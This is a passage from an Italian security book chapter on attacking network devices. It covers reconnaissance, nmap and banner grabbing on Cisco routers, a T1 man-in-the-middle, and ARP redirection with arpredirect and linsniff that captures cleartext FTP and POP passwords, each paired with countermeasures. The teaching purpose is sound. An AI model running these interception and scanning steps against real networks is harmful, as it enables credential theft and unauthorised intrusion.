      Origin IGP, localpref 100, valid, external
      Community: 7018:5000
  7018 6461, (received & used)
    12.123.137.124 from 12.123.137.124 (12.123.137.124)
      Origin IGP, localpref 100, valid, external
```

```
      Community: 7018:5000
  7018 6461, (received & used)
    12.123.1.236 from 12.123.1.236 (12.123.1.236)
      Origin IGP, localpref 100, valid, external, best
      Community: 7018:5000
route-server>
```

I tool di ricerca AS visualizzano una panoramica delle connessioni di rete. Come potete vedere dall'output precedente, ATT e Abovenet hanno molti link ridondanti e sono connesse molto bene.
Molti tool di ricerca con funzionalità grafiche agevolano questo processo. Per ulteriori informazioni potete consultare le fonti seguenti:

- la pagina di consultazione di Thomas Kernen (`www.traceroute.org`);
- il Graphical AS Path Tool, di Philippe Bourcier (`http://mogwai.fr-nog.org/sysctl/gasp/`
- FixedOrbit `http://www.fixedorbit.com/`;
- il registro degli instradamenti RADB di Merit Networks (`http://www.ra-db.net`).

Newsgroup aperti al pubblico

Utilizzando le informazioni raccolte dall'ARIN (*American Registry for Internet Numbers*) e da NSI (*Network Solutions Inc*), è possibile raccogliere diversi dati sulle persone importanti da contattare di qualsiasi organizzazione. Talvolta la ricerca di nominativi di queste persone all'indirizzo `http://groups.google.com` fornirà informazioni interessanti:

```
From: Bradford Smith (smithbm@example.com)
Subject: Cisco Logging

Newsgroups: comp.dcom.sys.cisco   This is the only article in this thread
Date: 2002/12/20                      View: Original Format

I have been unsuccessful is pulling logs off any cisco device onto a
syslog server. I refuse to spend time viewing logs on every device.

I am using a cisco 7206 router (10.14.208.3) (IOS 11.1) and sending the
logs to local syslog server (10.14.208.10). I receive a "Access-Reject"
message in the logs. What causes this error? Responses before the holidays
are appreciated as I will be away from the office dec 20 - jan 5.

-Brad
```

Da un semplice messaggio inviato a un newsgroup, sappiamo ora che attualmente Brad non è solito controllare i suoi file di log e che sarà assente dall'ufficio per quindici giorni. Molto interessante!

Contromisure all'individuazione del profilo

Nessun trucco o tool può sostituire una buona padronanza dei protocolli di rete e del software utilizzato per accedervi; inoltre qualsiasi sistema IDS o firewall del mondo serve a poco nelle mani di un utente inesperto.
Di seguito sono elencati alcuni consigli su come tenere al riparo le vostre informazioni private:

- prestate attenzione a quanto dite e a dove lo dite. I forum di discussione sono molto utili; ricordatevi però di utilizzarli con discernimento;
- eseguite le applicazioni in un ambiente di produzione solo se vi sentite a vostro agio e sapete come limitare la divulgazione di informazioni;
- modificate le impostazioni di default e i messaggi delle applicazioni. Sebbene l'oscuramento delle informazioni non sia un'autentica tecnica di sicurezza, esso è un efficace deterrente per un aggressore;
- soprattutto, utilizzate il buon senso comune. Concedetevi il tempo necessario per verificare le configurazioni. Riflettete a lungo su ciò che state per fare e documentate qualsiasi modifica.

Rilevamento dei servizi

Il rilevamento dei servizi è solo il primo passo. Il rilevamento del profilo dei servizi in esecuzione su un host ci mostra i servizi potenzialmente vulnerabili in esecuzione sul sistema bersaglio.

nmap

Diffusione:	*10*
Semplicità:	*10*
Impatto:	*3*
Fattore di rischio:	*8*

`Nmap` è per antonomasia lo scanner delle porte dei moderni hacker. Esso può essere utilizzato per semplici scansioni ma anche per stabilire quali sono gli host attivi su una determinata sottorete o individuare i sistemi operativi degli host remoti. Questo sorprendente e valido tool è dotato di numerose funzionalità, troppe per essere illustrate tutte in questa sede. L'utilizzo di `nmap` è particolarmente consigliabile; per maggiori informazioni, consultate "man nmap" su una macchina UNIX. Utilizzando `nmap` per eseguire la scansione delle porte da un sistema Linux, come sempre possiamo scoprire su quali porte è in ascolto il router (192.168.0.1). I tipi di porta ci permetteranno di fare enormi passi avanti verso l'identificazione del tipo di router. La Tabella 9.1 elenca le porte TCP e UDP più comuni che si trovano sui dispositivi di rete maggiormente diffusi. Per un elenco completo delle password, vi rimandiamo all'indirizzo `http://phenoelit.darklab.org/cgi-bin/display.pl?SUBF=list&SORT=1`.

Tabella 9.1 Per identificare un dispositivo è possibile verificare lo stato delle porte in questo elenco, ricordando che le specifiche porte aperte possono variare a seconda dell'implementazione

Hardware	TCP	UDP
Router Cisco	21 (ftp) 23 (telnet) 22 (SSH) 79 (finger) 80 (http) 179 (BGP) 512 (exec) 513 (login) 514 (shell) 1993 (SNMP Cisco) 1999 (ident Cisco) 2001 4001 6001 9001 (servizio XRemote)	0 (tcpmux) 49 (domain) 67 (bootps) 69 (tftp) 123 (ntp) 161 (snmp)
Switch Cisco	23 (telnet)	0 (tcpmux) 123 (ntp) 161 (snmp)
Router Bay	21 (ftp) 23 (telnet)	7 (echo) 9 (discard) 67 (bootps) 68 (bootpc) 69 (TFTP) 161 (SNMP) 520 (route)
Router Ascend	23 (telnet)	7 (echo) 9 (discard) * 161 (SNMP) 162 (snmp-trap) 514 (shell) 520 (route)

* La porta discard degli Ascend accetta solo pacchetti in un formato speciale (secondo Network Associates Inc.), quindi l'esito di una scansione su questa porta potrebbe variare.

Per trovare un router Cisco, si può utilizzare una scansione alla ricerca delle porte TCP 1-25, 80, 512-515, 2001, 4001, 6001 e 9001. Il risultato della scansione può rivelare molto sulle origini del dispositivo:

```
[/tmp]# nmap -p1-25,80,512-515,2001,4001,6001,9001 192.168.0.1
Starting nmap V. 2.12 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)
Interesting ports on  (192.168.0.1):
Port    State       Protocol  Service
7       open        tcp        echo
9       open        tcp        discard
13      open        tcp        daytime
19      open        tcp        chargen
22      open        tcp        ssh
23      filtered    tcp        telnet
2001    open        tcp        dc
6001    open        tcp        X11:1
```

Per confermare la nostra ipotesi sul fornitore e sul livello del sistema operativo, utilizzeremo il fingerprinting TCP (come spiegato nel Capitolo 2).

Un'altra caratteristica dei sistemi Cisco sono i prompt "User Access Verification" sulle porte vty, 23 e 2001. È sufficiente collegarsi al router su queste porte con `telnet` per ottenere il noto banner:

```
User Access Verification
Password:
```

Su molti dispositivi Cisco viene eseguito SSH in sostituzione di `telnet`. Anche con questa sostituzione dovuta a motivi di sicurezza, è tuttora possibile scoprire un banner familiare:

```
mploessel@irc.secsup.org:~$ telnet 10.14.208.3 22
Trying 10.14.208.3...
Connected to 10.14.208.3.
Escape character is '^]'.
SSH-1.5-Cisco-1.25
Connection closed by foreign host.
mploessel@irc.secsup.org:~$
```

Contromisure al rilevamento dei servizi

Per contrastare la divulgazione di informazioni provocata dagli scanner delle porte, è stato sviluppato un certo numero (abbastanza limitato) di tool. Nel complesso, la migliore strategia consiste nel rigettare completamente tutto il traffico indesiderato presente ai confini della rete. È fondamentale avere una visibilità limitata rispetto al mondo esterno di Internet. L'utilizzo di `PortSentry`PortSentry è il secondo metodo di protezione in ordine di efficacia; `PortSentry` sta in ascolto delle porte non utilizzate su un sistema, rilevando eventuali richieste di connessione su queste porte presunte inattive:

```
root@ns1:/home/stikk/portsentry-1.1# netstat -lpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address     Foreign Address  State     PID/Program name
tcp        0      0 0.0.0.0:54320     0.0.0.0:*        LISTEN    1959/portsentry
tcp        0      0 0.0.0.0:32774     0.0.0.0:*        LISTEN    1959/portsentry
tcp        0      0 0.0.0.0:31337     0.0.0.0:*        LISTEN    1959/portsentry
tcp        0      0 0.0.0.0:27665     0.0.0.0:*        LISTEN    1959/portsentry
tcp        0      0 0.0.0.0:20034     0.0.0.0:*        LISTEN    1959/portsentry
tcp        0      0 0.0.0.0:12346     0.0.0.0:*        LISTEN    1959/portsentry
tcp        0      0 0.0.0.0:12345     0.0.0.0:*        LISTEN    1959/portsentry
tcp        0      0 0.0.0.0:6667      0.0.0.0:*        LISTEN    1959/portsentry
tcp        0      0 0.0.0.0:5742      0.0.0.0:*        LISTEN    1959/portsentry
tcp        0      0 0.0.0.0:2000      0.0.0.0:*        LISTEN    1959/portsentry
tcp        0      0 0.0.0.0:635       0.0.0.0:*        LISTEN    1959/portsentry
tcp        0      0 0.0.0.0:443       0.0.0.0:*        LISTEN    1959/portsentry
tcp        0      0 0.0.0.0:143       0.0.0.0:*        LISTEN    1959/portsentry
tcp        0      0 0.0.0.0:119       0.0.0.0:*        LISTEN    1959/portsentry
tcp        0      0 0.0.0.0:25        0.0.0.0:*        LISTEN    1959/portsentry
tcp        0      0 0.0.0.0:23        0.0.0.0:*        LISTEN    1959/portsentry
tcp        0      0 0.0.0.0:22        0.0.0.0:*        LISTEN    1959/portsentry
tcp        0      0 0.0.0.0:21        0.0.0.0:*        LISTEN    1959/portsentry
```

È possibile selezionare porte specifiche tramite un file di configurazione:

```
# PortSentry Configuration
# $Id: portsentry.conf,v 1.23 2001/06/26 15:20:56 crowland Exp crowland $
# IMPORTANT NOTE: You CAN NOT put spaces between your port arguments.
# The default ports will catch a large number of common probes
# All entries must be in quotes.
#######################

# Port Configurations #

#######################
# Use these for just bare-bones
TCP_PORTS="1,11,15,110,111,143,540,635,1080,1524,2000,12345,12346,20034,
32771,32772,32773,32774,49724,54320"
UDP_PORTS="1,7,9,69,161,162,513,640,700,32770,32771,32772,32773,32774,
31337,54321"
```

Se un aggressore effettua una scansione delle porte, `PortSentry` rileva i tentativi di connessione a porte inutilizzate e chiude tutte le future connessioni dall'IP di destinazione tramite un comando `null route`. Questo comando interrompe ogni comunicazione con l'aggressore, che resterà tagliato fuori dal vostro host:

```
/sbin/route add 3.1.3.3.7 dev lo
```

Una volta attivato il blocco, la vostra tabella di instradamento sarà simile alla seguente:

```
root@ns1:/home/stikk/portsentry-1.1# route
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use
Iface
31.3.3.7        *               255.255.255.255 UH    0      0        0 lo
localnet        *               255.255.255.0   U     0      0        0
eth0
loopback        *               255.0.0.0       U     0      0        0 lo
default         192.168.1.254   0.0.0.0         UG    1      0        0
eth0
```

Prima di eseguire `PortSentry`, esaminate attentamente il file di configurazione: possono essere inviati pacchetti contraffatti che consentono a un aggressore di selezionare host da desensibilizzare.

Identificazione del sistema operativo

Diffusione:	*10*
Semplicità:	*10*
Impatto:	*2*
Fattore di rischio:	*7*

Nell'esempio precedente, sospettiamo che il dispositivo all'indirizzo IP 10.14.208.3 sia un router Cisco, ma possiamo utilizzare le funzionalità di riconoscimento del sistema operativo di `nmap` per confermare questa ipotesi. Visto che la porta TCP 13 è

aperta, specifichiamo il parametro -O di nmap per identificare il sistema operativo presente sul dispositivo, in questo caso Cisco IOS 11.2:

```
[root@source /tmp]# nmap -O -p13 -n 192.168.0.1
Starting nmap V. 2.12 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)
Warning:  No ports found open on this machine, OS detection will be MUCH
less reliable
Interesting ports on  (172.29.11.254):
Port    State       Protocol  Service
13      filtered    tcp        daytime
Remote operating system guess: Cisco Router/Switch with IOS 11.2
```

Se possibile, fate in modo di limitare a una sola porta le scansioni per l'identificazione del sistema operativo. Alcuni sistemi operativi, tra cui Cisco IOS e Sun Solaris, possono avere problemi a causa dei pacchetti non standard RFC che vengono inviati, e questo potrebbe disattivare alcuni sistemi. Per informazioni più dettagliate sul fingerprinting dello stack, fate riferimento al Capitolo 2.

Contromisura all'identificazione del sistema operativo

Intercettazione e prevenzione

La tecnica di intercettazione e prevenzione delle scansioni per il riconoscimento del sistema operativo è la stessa analizzata nel Capitolo 2, con variazioni sul tema in base al ruolo del dispositivo di rete. Una buona strategia consiste nel bloccare tutto il traffico destinato a un dispositivo; questa contromisura aiuterà a contrastare le identificazioni del sistema operativo.

Enumerazione e cattura dei banner Cisco

Diffusione:	*10*
Semplicità:	*10*
Impatto:	*1*
Fattore di rischio:	*7*

Anche se le apparenze fanno pensare a un Cisco (e probabilmente è così), questo non basta. Il semplice fatto di trovare le porte che ci si aspetta non è sufficiente per un'identificazione certa. Ma ci sono altri elementi che possono confermare i sospetti.

Cisco: finger e Virtual Terminal Ports, 2001, 4001, 6001

Generalmente il servizio `finger` di Cisco restituisce informazioni del tutto inutili. Le vty dei Cisco (solitamente 5) rispondono a dei semplici `finger -l @<host>`, ma il risultato è ben poco rivelatore (a parte identificare il dispositivo come Cisco).
Altri identificatori altrettanto inutili sono le porte di gestione 2001, 4001 e 6001. Con `netcat`, un hacker può collegarsi alla porta e ricevere come risposta poco più che rumore. Se invece si collega con un browser, per esempio a 172.29.11.254:4001, il risultato potrebbe presentarsi in questo modo:

```
User Access Verification Password: Password: Password: % Bad passwords
```

Questo output indica all'hacker che il dispositivo rilevato è molto probabilmente un dispositivo Cisco.

Cisco: il servizio XRemote (9001)

Un'altra delle porte comunemente utilizzate dai dispositivi Cisco è quella relativa al servizio XRemote (TCP 9001), che permette ai sistemi presenti sulla rete di aprire sessioni X client verso il router (tipicamente via modem). Collegandosi a questa porta con `netcat`, in risposta si ottiene un banner simile a questo:

```
C:\>nc -nvv 172.29.11.254 9001 (UNKNOWN) [172.29.11.254] 9001 (?) open
 -- Outbound XRemote service --
Enter X server name or IP address:
```

Contromisura all'enumerazione e alla cattura dei banner Cisco

Uno dei pochi rimedi per evitare questo tipo di enumerazione su sistemi Cisco consiste nel limitare l'accesso ai servizi impostando delle ACL di sicurezza. A seconda che si scelga la regola di azzeramento o di impedire esplicitamente il transito (per registrare i tentativi di accesso), per i servizi XRemote è possibile utilizzare:

```
access-list 101 deny tcp any any 79 log or access-list 101 deny tcp any
➥any 9001
```

Vulnerabilità delle reti

L'hacking dei dispositivi di rete è solo una questione di prospettiva. Se la vostra rete è sicura, in quanto avete impostato password telnet e nomi di comunità SNMP difficili da indovinare, e limitato l'accesso a FTP e TFTP, attivando la registrazione di tutti gli eventi (ovviamente, incaricando una persona della lettura dei log!), allora questi punti deboli non dovrebbero preoccuparvi. Se, invece, la vostra rete è troppo estesa e complessa da gestire, allora rischiate che rimangano scoperti dispositivi poco sicuri. In tal caso, vi consigliamo di verificare quanto segue.

Lo standard per il networking da cui dipendiamo attualmente in origine era costituito da due standard separati, sviluppati dalle associazioni OSI e IEEE. Con lo sviluppo del modello OSI, i processi di rete sono stati suddivisi in base ai diversi compiti da assolvere. Come si vede nella Figura 9.1, i pacchetti devono essere sottoposti a diverse operazioni per andare da un punto all'altro. Il modello OSI è molto ampio, per cui per motivi spazio non viene descritto in questo libro. Per ulteriori informazioni, visitate l'indirizzo `http://users.erols.com/amccull/osi.htm`.

In questo capitolo, ci occuperemo dei primi tre livelli, privilegiando l'argomento delle vulnerabilità di ciascuno di essi considerato separatamente. L'attacco ai punti vulnerabili basato su questi standard aumenterà i rischi di auditing e segmentazione in futuro. Tenete presente che se esistono vulnerabilità a un singolo livello, le comunicazioni vengono compromesse senza che questo sia rilevato sugli altri livelli. La crittografia end-to-end e altri sistemi affidabili possono giovare alla sicurezza, ma è meglio considerarla come "l'ultima spiaggia", anziché come prima e unica linea di difesa.

Figura 9.1
Architettura di rete basata sul modello OSI.

Phenoelit

Un libro sulla sicurezza delle reti non sarebbe completo senza un paragrafo dedicato a Phenoelit. Il suo insieme di tool IRPAS comprende quelli più utili per la valutazione delle vulnerabilità. A partire dal 2002, sono stati rilasciati importanti exploit per i modelli di apparecchiature più diffusi nelle sedi delle aziende. Al Defcon X, FX ha presentato un'analisi dettagliata del suo overflow remoto del buffer Cisco e di possibili compromissioni con abilitazione remota (`http://www.phenoelit.de/stuff/defconX.pdf`). Questo capitolo descrive le opportune contromisure.

OSI Livello 1

Con chiunque decidiate di comunicare, le comunicazioni dovranno transitare su un provider: la società telefonica locale, un fornitore di servizi satellitari o un fornitore locale di servizi televisivi. Qualsiasi supporto delle comunicazioni passa per le cabine telefoniche e corre sotto chilometri di strade, è aperto al pubblico o nascosto, o protetto da semplici lucchetti (la cui combinazione può talvolta essere scoperta mediante tecniche primitive di ingegneria sociale). Le possibilità sono infinite e la posta in gioco è notevole. Talvolta la sicurezza a livello hardware viene trascurata e costituisce l'anello più debole della catena.
La fibra ottica è il mezzo più difficile da intercettare poiché è appariscente e le apparecchiature sono costose. La maggior parte dei collegamenti tra una città e l'altra sono realizzati tramite fibra ottica. Sebbene siano difficilmente intercettabili, ne vale la pena. Tuttavia le probabilità non sono a favore dell'aggressore. I cavi coassiali sono facilmente intercettabili, ma non sono particolarmente diffusi. Ethernet (10, 100, 1000BaseT) è lo standard più diffuso nelle cabine delle reti e può essere facilmente intercettato senza che ce ne si avveda. Il bersaglio più facile dell'hacking del Livello 1 è costituito però dai link T1. Poiché essi sono formati da due semplici coppie di fili e

sono normalmente link Internet, è agevole rimuovere un link T1 e inserire al suo posto un dispositivo Man-In-The-Middle (come mostrato nella Figura 9.2), che consente di acquisire tutte le connessioni esterne. Le cabine telefoniche con condivisione sono un facile bersaglio e consentono agli hacker di raggiungere l'ambita meta dell'accesso anonimo. Per creare un perfetto dispositivo Man-In-The-Middle è sufficiente disporre di un router 1600 Cisco, anche di tipo economico. Sulla maggior parte dei circuiti viene apposta un'etichetta con il nome dell'azienda e l'identificazione del circuito. Utilizzando un piccolo router con due CSU/DSU e un'interfaccia Ethernet, è possibile inserire un semplice ponte Man-In-The-Middle provocando una disconnessione per soli 5-10 secondi, che non verrà rilevata dall'utente finale.

Figura 9.2
Attacco fisico Man-In-The-Middle.

Quando viene inserito e attivato un dispositivo "Man-In-The-Middle", il traffico può essere intercettato e analizzato. I protocolli sicuri sono solo parzialmente tali; qualsiasi traffico normale può essere intercettato.
Le connessioni tra ufficio e ufficio sono una necessità imprescindibile nelle aziende. I link point-to-point T1 sono facilmente installabili; ma c'è un piccolo problema. Un attacco Man-In-The-Middle su un T1 interno di un ufficio consente all'aggressore non solo di accedere regolarmente alla rete interna, ma anche di penetrarvi. Questo problema, comunemente trascurato, si è verificato in diverse aziende di grandi dimensioni.

OSI Livello 2

Il Livello 2 è quello in cui agli impulsi elettrici provenienti dal Livello 1 vengono associati degli indirizzi MAC. Questo livello, se non viene configurato correttamente, è l'anello più debole della catena.

Rilevamento dei supporti del Livello 2

I supporti condivisi (Ethernet e Token Ring) sono stati il mezzo tradizionale per la trasmissione dei dati per quasi vent'anni. La tecnica utilizzata da Ethernet, nota come CSMA/CD (*Carrier Sense Multiple Access /Collision Detection*), è stata ideata da Bob Metcalfe presso il PARC (*Palo Alto Research Center*) di Xerox. L'Ethernet classica funziona inviando i dati a ogni nodo presente sul segmento. In questo modo, il destinatario riceve i dati (ma lo stesso succede a tutti gli altri) e condivide la velocità di trasmissione con chiunque sia attaccato al cavo. Questo è il problema: se si inviano i dati su un supporto condiviso, in pratica qualsiasi dispositivo in ascolto sul segmento è in grado di leggerli. Dal punto di vista della sicurezza, Ethernet è sinonimo di compromesso. E, sfortunatamente, la Ethernet condivisa è ancora il supporto di rete più utilizzato.

Ma la tecnologia Ethernet originale è distante anni luce dalla tecnologia commutata disponibile oggi, con la quale condivide solo il nome. La tecnologia a commutazione si basa su una grande tabella di indirizzi MAC (*Media Access Control*) e, per inviare il traffico destinato a uno specifico MAC, utilizza un chip in silicio velocissimo. Il risultato: il pacchetto arriva soltanto al legittimo destinatario e rimane invisibile a chiunque altro, o quasi.

È possibile realizzare sistemi per la cattura dei pacchetti su supporti commutati. Cisco offre qualcosa del genere negli switch Catalyst, con la tecnologia SPAN (*Switched Port Analyzer*). Duplicando certe porte o reti locali virtuali VLAN (*Virtual Local Area Network*) su una singola porta, un amministratore è in grado di catturare i pacchetti esattamente come se si trovassero su un segmento condiviso. Il più delle volte questa possibilità viene utilizzata nei sistemi IDS (*Intrusion Detection System*) per consentire l'analisi del traffico e intercettare eventuali attacchi. Per maggiori informazioni sulla tecnologia SPAN, vi rimandiamo alla pagina `http://www.cisco.com/univercd/cc/td/doc/product/lan/cat5000/rel_4,_5/config/span.htm`.

Ancora più deleteria per gli switch è la tecnologia dsniff di Dug Song. Dug ha sviluppato un software in grado di catturare il traffico in transito su un dispositivo commutato e reindirizzarlo da uno specifico host verso il sistema di intercettazione. La tecnologia è banale da implementare e mette in discussione la fama secondo cui gli switch sono dispositivi sicuri.

Sniffing di uno switch di rete

Avete appena installato il vostro switch nella speranza di raggiungere il massimo consentito dalle possibilità della rete: aumentare la rapidità e i livelli di sicurezza. La prospettiva di aumentare la velocità e di impedire agli utenti curiosi di intercettare informazioni riservate sulla rete aziendale, vi rende felici. Il vostro nuovo switch è la soluzione di tutti i vostri problemi? Fra un po' vi ricrederete.

Il protocollo ARP (*Address Resolution Protocol*, RFC 826) consente di mappare dinamicamente un indirizzo IP a 32 bit su un indirizzo hardware a 48 bit. Quando un sistema deve comunicare con i suoi vicini sulla stessa rete (compreso il gateway pre-

definito), invia dei broadcast ARP alla ricerca dell'indirizzo hardware del sistema di destinazione. Il destinatario risponderà alla richiesta ARP con il suo indirizzo hardware, dando così inizio alla comunicazione.
Sfortunatamente, però, il traffico ARP può essere facilmente contraffatto per essere reindirizzato verso un sistema pirata e questo può verificarsi anche in un ambiente commutato. Infatti, è possibile visualizzare il traffico reinstradato, utilizzando un analizzatore di rete e in seguito inoltrarlo verso la destinazione reale. Questo scenario è noto come attacco "Man-In-The-Middle" ed è relativamente semplice da portare a termine. Vediamo un esempio.

Reindirizzamento ARP

Diffusione:	*4*
Semplicità:	*2*
Impatto:	*8*
Fattore di rischio:	*5*

In questo esempio collegheremo tre sistemi a uno switch di rete. Il sistema `crush` è il gateway predefinito all'indirizzo IP 10.1.1.1. Il sistema `shadow` è l'host da cui ha origine il traffico e si trova all'indirizzo 10.1.1.18. Il sistema `twister` è il sistema pirata ("Man-In-The-Middle") e si trova all'indirizzo 10.1.1.19. L'attacco prevede che su `twister` venga eseguito il programma di utilità `arpredirect` del pacchetto `dsniff` di Dug Song (`http://www.monkey.org/~dugsong/dsniff/`). Questo strumento consente di intercettare sulla LAN i pacchetti che l'host obiettivo invia a un altro host (generalmente il gateway predefinito, come mostrato nella Figura 9.3).

Prima di provare questa tecnica nel vostro ambiente di rete, consultate l'amministratore del sistema. Se nello switch è attiva la modalità di protezione delle porte, correte il rischio di bloccare l'accesso a tutti gli utenti.

Ricordate che siamo connessi a uno switch e che pertanto dovremmo essere in grado di visualizzare solo il traffico di tipo broadcast.
In realtà, come mostreremo più avanti, `arpredirect` consente di visualizzare tutto il traffico tra i sistemi `shadow` e `crush`. Sul sistema `twister` eseguiamo il comando seguente:

```
[twister] ping crush
PING 10.1.1.1 from 10.1.1.19 : 56(84) bytes of data.
64 bytes from 10.1.1.1: icmp_seq=0 ttl=128 time=1.3 ms

[twister] ping shadow

PING 10.1.1.18  from 10.1.1.19 : 56(84) bytes of data.
64 bytes from 10.1.1.18: icmp_seq=0 ttl=255 time=5.2 ms
```

Questo comando consente a `twister` di registrare gli indirizzi hardware dei due sistemi, che saranno necessari durante l'esecuzione di `arpredirect`:

```
[twister] arpredirect -t 10.1.1.18 10.1.1.1
intercepting traffic from 10.1.1.18 to 10.1.1.1 (^C to exit)...
```

Questo comando esegue `arpredirect` e reindirizza verso `twister` tutto il traffico proveniente da `shadow` e destinato al gateway predefinito: `crush`. Il servizio IP

Figura 9.3

La possibilità di intercettare i pacchetti ARP dovrebbe essere un motivo sufficiente per non lasciare che la vostra sicurezza dipenda dagli switch di rete.

forwarding viene anche attivato, per farlo agire come router e reindirizzare il traffico da `shadow` a `crush`, dopo averlo intercettato. Esistono due modi per abilitare l'IP forwarding: a livello di kernel (pratica sconsigliata perché i pacchetti di redirezione ICMP inviati potrebbero corrompere l'intero processo), oppure dalla riga di comando utilizzando il programma di utilità `fragrouter` (`http://packetstormsecurity.org/`), specificando l'opzione `-B1`:

```
[twister] fragrouter -B1
fragrouter: base-1: normal IP forwarding
10.1.1.18.2079 > 192.168.20.20.21: S 592459704:592459704(0)
10.1.1.18.2079 > 192.168.20.20.21: P 592459705:592459717(12)
10.1.1.18.2079 > 192.168.20.20.21: . ack 235437339
10.1.1.18.2079 > 192.168.20.20.21: P 592459717:592459730(13)
<output abbreviato>
```

Per finire, è necessario installare su `twister` un semplice analizzatore di pacchetti che consenta di catturare il traffico più interessante. Per ulteriori informazioni sugli analizzatori di pacchetti, fate riferimento al Capitolo 5:

```
[twister] linsniff
Linux Sniffer Beta v.99
Log opened.
------[SYN] (slot 1)
10.1.1.18 => 192.168.20.20 [21]

USER ploessel
PASS not-very-secret!!
PORT 10,1,1,18,8,35
NLST
QUIT
------[SYN] (slot 1)
10.1.1.18 => 192.168.20.20 [110]
USER ploessel PASS g0thacked
[FIN] (1)
```

Esaminiamo quello che è successo. Dopo aver eseguito `arpredirect`, `twister` inizia a inviare a `shadow` delle risposte ARP contraffatte, spacciandosi per `crush`. `shadow` aggiorna la sua tabella ARP per tenere conto del nuovo indirizzo hardware di `crush`. A questo punto, un utente di `shadow` avvia una sessione FTP e POP all'indirizzo 192.168.20.20. Tuttavia, il traffico generato non viene inviato al gateway predefinito legittimo, `crush`, in quanto `shadow` è stato ingannato e nella sua tabella ARP all'indirizzo IP di `shadow` è stato associato l'indirizzo hardware di `twister`. Poiché è stato attivato il servizio IP forwarding, `twister` agisce come un router e reindirizza tutto il traffico verso il sistema all'indirizzo 192.168.20.20.
Nell'esempio precedente, abbiamo solo reindirizzato il traffico da `shadow` a `crush`. Tuttavia è anche possibile reinstradare il traffico verso `twister` omettendo l'opzione `-t`:

```
[twister] arpredirect 10.1.1.1
intercepting traffic from LAN to 10.1.1.1 (^C to exit)...
```

Ricordate che questo può provocare il panico su una rete molto trafficata. Se siete allergici a UNIX, molto probabilmente vi state chiedendo se è possibile utilizzare `arpredirect` su un sistema Windows. Sfortunatamente, non esiste una versione di `arpredirect` per Windows, ma naturalmente sono disponibili delle alternative. In alcuni switch è possibile utilizzare, per la connessione di rete, la porta uplink di un semplice hub. Questo consente di collegare all'hub un sistema UNIX, su cui viene eseguito `arpredirect` e un sistema Windows, su cui viene eseguito l'analizzatore di pacchetti desiderato. Il sistema UNIX reindirizza il traffico, mentre il sistema Windows lo intercetta in transito sull'hub locale.

Contromisure al reindirizzamento ARP

Nella maggior parte dei sistemi connessi alla rete locale, è banale contraffare le risposte ARP e corrompere la tabella ARP per reindirizzare il traffico verso un sistema pirata. Se è possibile e attuabile, impostate degli instradamenti ARP statici tra sistemi

critici; infatti, una tecnica comune consiste nell'impostare degli instradamenti ARP statici tra il firewall e i router esterni. Per fare questo, utilizzate i comandi seguenti:

```
[shadow] arp -s crush 00:00:C5:74:EA:B0
[shadow] arp -a
crush (10.1.1.1) at 00:00:C5:74:EA:B0 [ether] PERM on eth0
```

Notate che il flag PERM indica che si tratta di un instradamento ARP permanente.
L'impostazione di instradamenti statici, per i sistemi interni della rete, non è sicuramente uno degli esercizi più pratici di questo mondo. Per tenere traccia delle associazioni ARP Ethernet/indirizzo IP e ricevere la notifica di tutte le eventuali modifiche, è possibile utilizzare uno strumento come `arpwatch` (`ftp://ftp.ee.lbl.gov/arpwatch-2.1a6.tar.gz`).
Eseguite `arpwatch` utilizzando l'interfaccia che desiderate tenere sotto controllo:

```
[crush] arpwatch -i rl0
```

Come mostrato più avanti, arpwatch ha rilevato la presenza di `arpredirect` e l'ha registrata in `/var/log/messages`:

```
May 21 12:28:49 crush: flip flop 10.1.1.1 0:50:56:bd:2a:f5
(0:0:c5:74:ea:b0)
```

L'inserimento manuale degli indirizzi MAC in ciascuno switch è la contromisura più sicura per gli attacchi al protocollo ARP, sebbene rappresenti l'incubo di ogni amministratore di sistema:

```
set port security <mod/port> enable 00-02-2D-01-02-0F
```

Quando occorre inviare numerose risposte ARP, può essere inviata una notifica per posta elettronica. `arpwatch` non è una soluzione efficace, sebbene si tratti di un sistema utile di notifica in tempo reale della presenza di un malintenzionato.

Salti sulle VLAN

Le LAN virtuali sono LAN separate logicamente ma situate sullo stesso supporto fisico. A ciascuna LAN è assegnato un numero VLAN univoco. Talvolta le VLAN vengono ampliate oltre un singolo switch tramite l'utilizzo di circuiti di collegamento. 802.1q è lo standard del nuovo proprietario per i circuiti di collegamento. Il circuito di collegamento connette VLAN simili a diversi switch. Il Trunking Protocol avvolge il frame Ethernet mentre lo inoltra alla sua destinazione.
Le VLAN sono diffuse negli ambienti di rete, ma molte volte sono configurate e utilizzate in modo scorretto. Le VLAN sono state progettate pensando soprattutto alla sicurezza. Dato il numero di VLAN utilizzate attualmente per potenziare la sicurezza, questo può costituire un problema. Per comprendere i difetti connessi all'implementazione delle VLAN, dobbiamo esaminare la composizione dei pacchetti.

Header IP

L'intestazione IP è necessaria per tutti i pacchetti IP inviati sulla rete. Essa contiene gli indirizzi IP di origine e di destinazione e altre informazioni importanti.

Header TCP

L'header TCP contiene le porte di origine e di destinazione, un numero sequenziale e i flag TCP. Nell'implementazione Cisco del 802.1q, il tag ha una lunghezza di 4 byte ed è nel formato "0x 80 00 0n nn", dove "n nn" indica l'identificatore della LAN virtuale. Il tag viene inserito nel frame Ethernet subito dopo l'indirizzo MAC di origine. Pertanto, in un frame Ethernet che entra nello switch 1 sulla porta appartenente a VLAN 2 viene inserito il tag "80 00 00 02". Il frame 802.1q attraversa il circuito dello switch e il tag viene eliminato dal frame prima che questo lasci la porta dello switch di destinazione:

```
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+   +-+-+-+
|Destination| Source     | Tag Protocol.. .. cont|
|  Address  | Address    | Identifier  .. ..     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+   +-+-+-+
|Pri. |F| Virtual Lan                |
|Ident|C| Identification             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+   +-+-+-+-+-+-+
|   |   Packet                ..  ..   Packet  |
|   |   Data  46-1500 octets  ..  ..  Data cont|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+   +-+-+-+-+-+-+
|       |
|       |
| FCS   |
+-+-+-+-+
```

